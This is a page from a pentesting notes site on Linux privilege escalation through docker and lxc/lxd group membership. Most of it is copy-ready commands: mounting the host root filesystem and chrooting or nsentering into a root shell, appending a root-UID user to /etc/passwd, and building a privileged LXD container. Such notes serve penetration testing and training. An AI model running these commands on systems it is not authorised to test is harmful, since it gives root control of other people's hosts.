📑
Security Notes
  • Readme
  • Resources
    • Useful sites
    • Metasploit
      • Searchsploit
      • Msfvenom
      • Meterpreter
    • Shells
    • Linux
      • Cron
      • Connection
      • Compilers
    • Windows
      • Kernel exploits table
    • Bruteforce
      • Checklist
      • John the Ripper
      • Hashcat
    • BOF
      • Assembly
    • Gaining access checklist
  • Cloud - AWS
    • Enumeration
    • References
    • Bucket S3
      • Public Bucket
      • AMI Files
      • File upload to RCE
    • EC2
      • cloud-init Exploits
      • SSRF To AWS Role compromise
      • Unencrypted EBS
    • IAM
      • Account Disclosure by resource policy
    • Lambda Function
      • Code Injection
      • Attacking APIs
    • VPC
      • Expose Resources
  • Networking
    • Nmap
      • Scan types
    • TCPDump
    • Port forwarding
    • Ports
      • 21 - FTP
      • 22 - SSH
      • 25 465 587 - SMTP
      • 53 - DNS
      • 110 995 - POP3
      • 111 - NFS
      • 113 - Ident
      • 123 - NTP
      • 135 137 139 - RPC
      • 143 993 - IMAP
      • 161 - SNMP
      • 389 - LDAP
      • 139 445 - SMB
      • 873 - Rsync
      • 6379 - Redis
      • 6667 - IRC
  • Linux PrivEsc
    • Checklist
    • Enumeration
      • Important files
      • Memory Dump
    • Privileges Exploitation
    • Wildcard Exploits
    • Sudo Exploits
    • Docker Container
    • Docker Groups
    • Common Exploits
  • Windows PrivEsc
    • Checklist
    • Enumeration
      • Important Files
    • Antivirus evasion tools
    • Unquoted paths
    • Always install elevated
    • Vulnerable services
    • Client side
    • Exploitable privileges
      • Juicy Potato
    • UAC bypass
    • Common Exploits
  • Active Directory
    • Introduction
    • Checklist
    • Enumeration
    • Enable RDP
    • Kerberos
    • Rubeus
    • Credentials harvesting
      • Domain Controller specific
    • Connection
    • Pass The Hash
    • Kerberoast
    • ASREProast
    • Tickets
  • Web Attacks
    • Checklist
    • Enumeration
      • URL bruteforcing
    • APIs and Fields
    • Authentication
    • Filter Evasion
      • Fuzzying and encoding
    • File Vulnerabilities
      • LFI List
      • PHP shells
    • RCE
    • Code Injection
    • Dependency Injection
    • Joomla
    • Wordpress
    • WebDAV
    • HTTP
    • XSS
      • DOM Based
      • Reflected
      • Filter Evasion
    • SSI
    • SSTI
    • RCE
    • CSRF
    • SQL injection
      • sqlmap
      • PostgreSQL
      • Oracle
      • MSSQL
      • MySQL
      • Login
    • XPath injection
    • XXE
    • CORS
  • MOBILE PENTESTING
    • Static Code Analysis
    • Dynamic Code Analysis
    • Network Traffic Analysis
Powered by GitBook
On this page
  • Docker group exploits
  • Writable Docker Socket
  • Access arbitrary folders
  • Add user to /etc/passwd
  • Spawn shell
  • Root Please Docker image
  • LXC / LXD group exploit
  1. Linux PrivEsc

Docker Groups

Docker group exploits

To execute these exploits the current user has to be in docker group

Writable Docker Socket

If the docker socket is writable it can be used to run commands as an elevated user. Only users in root and docker group can read the socket file.

docker -H unix:///var/run/docker.sock run -v /:/mnt -it ubuntu chroot /mnt /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Access arbitrary folders

docker images
docker run -v <folder>:/mnt -it <image>
cd /mnt

Add user to /etc/passwd

docker images
docker run -v /etc/:/mnt -it <image>
cd /mnt
echo "<username>:$(openssl passwd <password>):0:0:/root:/root:/bin/bash" >> passwd
exit
su <username>

Spawn shell

docker images
docker run -v /:/mnt --rm -it <image> chroot /mnt sh

Root Please Docker image

A docker image that spawns a root shell.

git clone https://github.com/chrisfosterelli/dockerrootplease rootplease
cd rootplease/
docker build -t rootplease .
docker run -v /:/hostOS -it --rm rootplease

LXC / LXD group exploit

To execute this exploit the current user has to be in lxc or lxd group. Download configure and build an Alpine image, mount /root and execute /bin/sh as root.

git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a <arch>

lxc image import ./alpine.tar.gz --alias myimage

lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

lxc start mycontainer
lxc exec mycontainer /bin/sh
PreviousDocker ContainerNextCommon Exploits

Last updated 1 year ago